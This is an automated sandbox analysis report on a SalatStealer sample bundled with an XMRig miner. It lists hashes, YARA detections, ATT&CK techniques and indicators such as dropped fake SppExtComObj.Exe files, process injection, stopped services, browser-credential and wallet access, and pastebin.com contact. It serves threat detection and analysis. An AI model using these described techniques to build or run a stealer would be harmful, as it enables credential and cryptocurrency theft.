salatstealer | 897b5101cafb0a9104381e8cd260c932df8cc2162bd2d4f26ba968f4b70c63e8

user interaction
yes
max time kernel
128s
max time network
153s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260130-de
resource tags

arch:x64arch:x86image:win10ltsc2021-20260130-delocale:de-deos:windows10-ltsc_2021-x64systemwindows
submitted
20/04/2026, 15:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
keshka.exe
Size 3.4MB
Sample260420-szce2set3q
SHA256 897b5101cafb0a9104381e8cd260c932df8cc2162bd2d4f26ba968f4b70c63e8
MD5 20eef3d8647f48e17eb7f3804d836518
SHA1 fbe3a3f8d08c980ca36cf9f10ac9f72982d899dc
SHA512 8dc2e5f6568da07b03c7f793f7c70dfd7d48883d6fc473ab21931de02d41700f2d95c99a84047c1b144827573293fdd8d40b81219ce5a7d0605c6b7281f8f26a
SSDEEP 98304:J90zEmNW6ABeiCR3MBpTrJNpHfGYMZBCwLCta:X0rk6wwR3c3tH9MbCwLC4
TLSH
T12DF53300C54F7BFAEE5259B4F8DCC5814D4EC5089ED2D69F0A269B76AB43B1C820639F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution salatstealer xmrig miner persistence spyware stealer upx

Malware Config

Signatures

Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
stealer salatstealer
Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Detect SalatStealer payload 11 IoCs

resource	yara_rule
behavioral1/memory/4556-1-0x00000000004B0000-0x0000000001107000-memory.dmp	family_salatstealer
behavioral1/memory/4556-2-0x00000000004B0000-0x0000000001107000-memory.dmp	family_salatstealer
behavioral1/memory/4556-3-0x00000000004B0000-0x0000000001107000-memory.dmp	family_salatstealer
behavioral1/memory/4556-330-0x00000000004B0000-0x0000000001107000-memory.dmp	family_salatstealer
behavioral1/memory/4556-379-0x00000000004B0000-0x0000000001107000-memory.dmp	family_salatstealer
behavioral1/memory/1508-404-0x0000000000250000-0x0000000000EA7000-memory.dmp	family_salatstealer
behavioral1/memory/1508-1462-0x0000000000250000-0x0000000000EA7000-memory.dmp	family_salatstealer
behavioral1/memory/1564-3621-0x0000000000C10000-0x0000000001867000-memory.dmp	family_salatstealer
behavioral1/memory/4260-5546-0x0000000000CA0000-0x00000000018F7000-memory.dmp	family_salatstealer
behavioral1/memory/1508-5981-0x0000000000250000-0x0000000000EA7000-memory.dmp	family_salatstealer
behavioral1/memory/1508-8304-0x0000000000250000-0x0000000000EA7000-memory.dmp	family_salatstealer

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 1636 created 620	1636	powershell.EXE	5
PID 6728 created 620	6728	powershell.EXE	5
PID 932 created 620	932	powershell.EXE	5
PID 6388 created 620	6388	powershell.EXE	5

XMRig Miner payload 7 IoCs

miner

resource	yara_rule
behavioral1/memory/6772-8383-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral1/memory/6772-8388-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral1/memory/6772-8389-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral1/memory/6772-8387-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral1/memory/6772-8386-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral1/memory/6772-8385-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral1/memory/6772-8382-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 25 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
932	powershell.EXE
6980	powershell.EXE
6500	powershell.EXE
6388	powershell.EXE
6496	powershell.EXE
6628	powershell.EXE
4524	powershell.EXE
1636	powershell.EXE
6728	powershell.EXE
6540	powershell.exe
1940	powershell.exe
6584	powershell.exe
1564	powershell.exe
3588	powershell.exe
4760	powershell.exe
4560	powershell.exe
6696	powershell.exe
6992	powershell.exe
7124	powershell.exe
6724	powershell.exe
5296	powershell.exe
4176	powershell.exe
6604	powershell.exe
3588	powershell.exe
7112	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Executes dropped EXE 8 IoCs

pid	Process
1508	SppExtComObj.Exe
1564	SppExtComObj.Exe
1236	f.exe
4260	SppExtComObj.Exe
472	rjyzvekkqzsi.exe
3096	rjyzvekkqzsi.exe
6544	rjyzvekkqzsi.exe
2688	rjyzvekkqzsi.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
158	pastebin.com
159	pastebin.com

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Documents\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	firefox.exe

Drops file in System32 directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	rjyzvekkqzsi.exe
File opened for modification	C:\Windows\system32\MRT.exe	f.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	rjyzvekkqzsi.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\System32\Tasks\dialersvc64	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	rjyzvekkqzsi.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\MRT.exe	rjyzvekkqzsi.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 14 IoCs

description	pid	Process	procid_target
PID 1236 set thread context of 3608	1236	f.exe	120
PID 472 set thread context of 6640	472	rjyzvekkqzsi.exe	138
PID 472 set thread context of 6700	472	rjyzvekkqzsi.exe	139
PID 472 set thread context of 6772	472	rjyzvekkqzsi.exe	140
PID 1636 set thread context of 6100	1636	powershell.EXE	144
PID 6728 set thread context of 2280	6728	powershell.EXE	145
PID 3096 set thread context of 6648	3096	rjyzvekkqzsi.exe	153
PID 3096 set thread context of 5472	3096	rjyzvekkqzsi.exe	154
PID 932 set thread context of 2488	932	powershell.EXE	158
PID 6544 set thread context of 2040	6544	rjyzvekkqzsi.exe	166
PID 6544 set thread context of 4076	6544	rjyzvekkqzsi.exe	202
PID 6388 set thread context of 5404	6388	powershell.EXE	171
PID 2688 set thread context of 7140	2688	rjyzvekkqzsi.exe	179
PID 2688 set thread context of 4888	2688	rjyzvekkqzsi.exe	180

UPX packed file 28 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4556-0-0x00000000004B0000-0x0000000001107000-memory.dmp	upx
behavioral1/memory/4556-1-0x00000000004B0000-0x0000000001107000-memory.dmp	upx
behavioral1/memory/4556-2-0x00000000004B0000-0x0000000001107000-memory.dmp	upx
behavioral1/memory/4556-3-0x00000000004B0000-0x0000000001107000-memory.dmp	upx
behavioral1/memory/4556-330-0x00000000004B0000-0x0000000001107000-memory.dmp	upx
behavioral1/files/0x00020000000261c7-375.dat	upx
behavioral1/memory/1508-378-0x0000000000250000-0x0000000000EA7000-memory.dmp	upx
behavioral1/memory/4556-379-0x00000000004B0000-0x0000000001107000-memory.dmp	upx
behavioral1/memory/1508-404-0x0000000000250000-0x0000000000EA7000-memory.dmp	upx
behavioral1/memory/1508-1462-0x0000000000250000-0x0000000000EA7000-memory.dmp	upx
behavioral1/memory/1564-2679-0x0000000000C10000-0x0000000001867000-memory.dmp	upx
behavioral1/memory/1564-3621-0x0000000000C10000-0x0000000001867000-memory.dmp	upx
behavioral1/memory/4260-4849-0x0000000000CA0000-0x00000000018F7000-memory.dmp	upx
behavioral1/memory/4260-5546-0x0000000000CA0000-0x00000000018F7000-memory.dmp	upx
behavioral1/memory/1508-5981-0x0000000000250000-0x0000000000EA7000-memory.dmp	upx
behavioral1/memory/1508-8304-0x0000000000250000-0x0000000000EA7000-memory.dmp	upx
behavioral1/memory/6772-8383-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/6772-8388-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/6772-8389-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/6772-8387-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/6772-8386-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/6772-8385-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/6772-8382-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/6772-8381-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/6772-8380-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/6772-8379-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/6772-8376-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/6772-8377-0x0000000140000000-0x0000000140835000-memory.dmp	upx

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Windows NT\StartMenuExperienceHost.exe	keshka.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SppExtComObj.Exe	SppExtComObj.Exe
File opened for modification	C:\Program Files\Google\Chrome\Application\SppExtComObj.Exe	SppExtComObj.Exe
File opened for modification	C:\Program Files (x86)\Windows NT\261a3b3e-c8c3-6702-6b93-1cc689053ec8	keshka.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5024	sc.exe
1972	sc.exe
2504	sc.exe
1860	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SppExtComObj.Exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SppExtComObj.Exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	keshka.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SppExtComObj.Exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks processor information in registry 2 TTPs 20 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-262299150-3324607021-1566776428-1000_Classes\Local Settings	firefox.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4556	keshka.exe
4556	keshka.exe
4556	keshka.exe
4556	keshka.exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
5244	powershell.exe
5244	powershell.exe
5244	powershell.exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1508	SppExtComObj.Exe
1236	f.exe
3588	powershell.exe
3588	powershell.exe
3588	powershell.exe
1236	f.exe
1236	f.exe
1236	f.exe
1236	f.exe
1236	f.exe
1236	f.exe
472	rjyzvekkqzsi.exe
7124	powershell.exe
7124	powershell.exe
7124	powershell.exe
1636	powershell.EXE
1636	powershell.EXE
1636	powershell.EXE
472	rjyzvekkqzsi.exe
472	rjyzvekkqzsi.exe
472	rjyzvekkqzsi.exe
472	rjyzvekkqzsi.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1640	firefox.exe
Token: SeDebugPrivilege	1640	firefox.exe
Token: SeDebugPrivilege	5244	powershell.exe
Token: SeIncreaseQuotaPrivilege	5244	powershell.exe
Token: SeSecurityPrivilege	5244	powershell.exe
Token: SeTakeOwnershipPrivilege	5244	powershell.exe
Token: SeLoadDriverPrivilege	5244	powershell.exe
Token: SeSystemProfilePrivilege	5244	powershell.exe
Token: SeSystemtimePrivilege	5244	powershell.exe
Token: SeProfSingleProcessPrivilege	5244	powershell.exe
Token: SeIncBasePriorityPrivilege	5244	powershell.exe
Token: SeCreatePagefilePrivilege	5244	powershell.exe
Token: SeBackupPrivilege	5244	powershell.exe
Token: SeRestorePrivilege	5244	powershell.exe
Token: SeShutdownPrivilege	5244	powershell.exe
Token: SeDebugPrivilege	5244	powershell.exe
Token: SeSystemEnvironmentPrivilege	5244	powershell.exe
Token: SeRemoteShutdownPrivilege	5244	powershell.exe
Token: SeUndockPrivilege	5244	powershell.exe
Token: SeManageVolumePrivilege	5244	powershell.exe
Token: 33	5244	powershell.exe
Token: 34	5244	powershell.exe
Token: 35	5244	powershell.exe
Token: 36	5244	powershell.exe
Token: SeIncreaseQuotaPrivilege	5244	powershell.exe
Token: SeSecurityPrivilege	5244	powershell.exe
Token: SeTakeOwnershipPrivilege	5244	powershell.exe
Token: SeLoadDriverPrivilege	5244	powershell.exe
Token: SeSystemProfilePrivilege	5244	powershell.exe
Token: SeSystemtimePrivilege	5244	powershell.exe
Token: SeProfSingleProcessPrivilege	5244	powershell.exe
Token: SeIncBasePriorityPrivilege	5244	powershell.exe
Token: SeCreatePagefilePrivilege	5244	powershell.exe
Token: SeBackupPrivilege	5244	powershell.exe
Token: SeRestorePrivilege	5244	powershell.exe
Token: SeShutdownPrivilege	5244	powershell.exe
Token: SeDebugPrivilege	5244	powershell.exe
Token: SeSystemEnvironmentPrivilege	5244	powershell.exe
Token: SeRemoteShutdownPrivilege	5244	powershell.exe
Token: SeUndockPrivilege	5244	powershell.exe
Token: SeManageVolumePrivilege	5244	powershell.exe
Token: 33	5244	powershell.exe
Token: 34	5244	powershell.exe
Token: 35	5244	powershell.exe
Token: 36	5244	powershell.exe
Token: SeIncreaseQuotaPrivilege	5244	powershell.exe
Token: SeSecurityPrivilege	5244	powershell.exe
Token: SeTakeOwnershipPrivilege	5244	powershell.exe
Token: SeLoadDriverPrivilege	5244	powershell.exe
Token: SeSystemProfilePrivilege	5244	powershell.exe
Token: SeSystemtimePrivilege	5244	powershell.exe
Token: SeProfSingleProcessPrivilege	5244	powershell.exe
Token: SeIncBasePriorityPrivilege	5244	powershell.exe
Token: SeCreatePagefilePrivilege	5244	powershell.exe
Token: SeBackupPrivilege	5244	powershell.exe
Token: SeRestorePrivilege	5244	powershell.exe
Token: SeShutdownPrivilege	5244	powershell.exe
Token: SeDebugPrivilege	5244	powershell.exe
Token: SeSystemEnvironmentPrivilege	5244	powershell.exe
Token: SeRemoteShutdownPrivilege	5244	powershell.exe
Token: SeUndockPrivilege	5244	powershell.exe
Token: SeManageVolumePrivilege	5244	powershell.exe
Token: 33	5244	powershell.exe
Token: 34	5244	powershell.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
1640	firefox.exe
1640	firefox.exe
1640	firefox.exe
1640	firefox.exe
1640	firefox.exe
1640	firefox.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1640	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5612 wrote to memory of 1640	5612	firefox.exe	94
PID 5612 wrote to memory of 1640	5612	firefox.exe	94
PID 1640 wrote to memory of 5620	1640	firefox.exe	95
PID 1640 wrote to memory of 5620	1640	firefox.exe	95
PID 1640 wrote to memory of 5620	1640	firefox.exe	95
PID 1640 wrote to memory of 2576	1640	firefox.exe	96
PID 1640 wrote to memory of 2576	1640	firefox.exe	96
PID 1640 wrote to memory of 2576	1640	firefox.exe	96
PID 1640 wrote to memory of 2576	1640	firefox.exe	96
PID 1640 wrote to memory of 3648	1640	firefox.exe	97
PID 1640 wrote to memory of 3648	1640	firefox.exe	97
PID 1640 wrote to memory of 3648	1640	firefox.exe	97
PID 1640 wrote to memory of 3648	1640	firefox.exe	97
PID 1640 wrote to memory of 2104	1640	firefox.exe	98
PID 1640 wrote to memory of 2104	1640	firefox.exe	98
PID 1640 wrote to memory of 2104	1640	firefox.exe	98
PID 1640 wrote to memory of 848	1640	firefox.exe	99
PID 1640 wrote to memory of 848	1640	firefox.exe	99
PID 1640 wrote to memory of 848	1640	firefox.exe	99
PID 1640 wrote to memory of 848	1640	firefox.exe	99
PID 1640 wrote to memory of 3888	1640	firefox.exe	100
PID 1640 wrote to memory of 3888	1640	firefox.exe	100
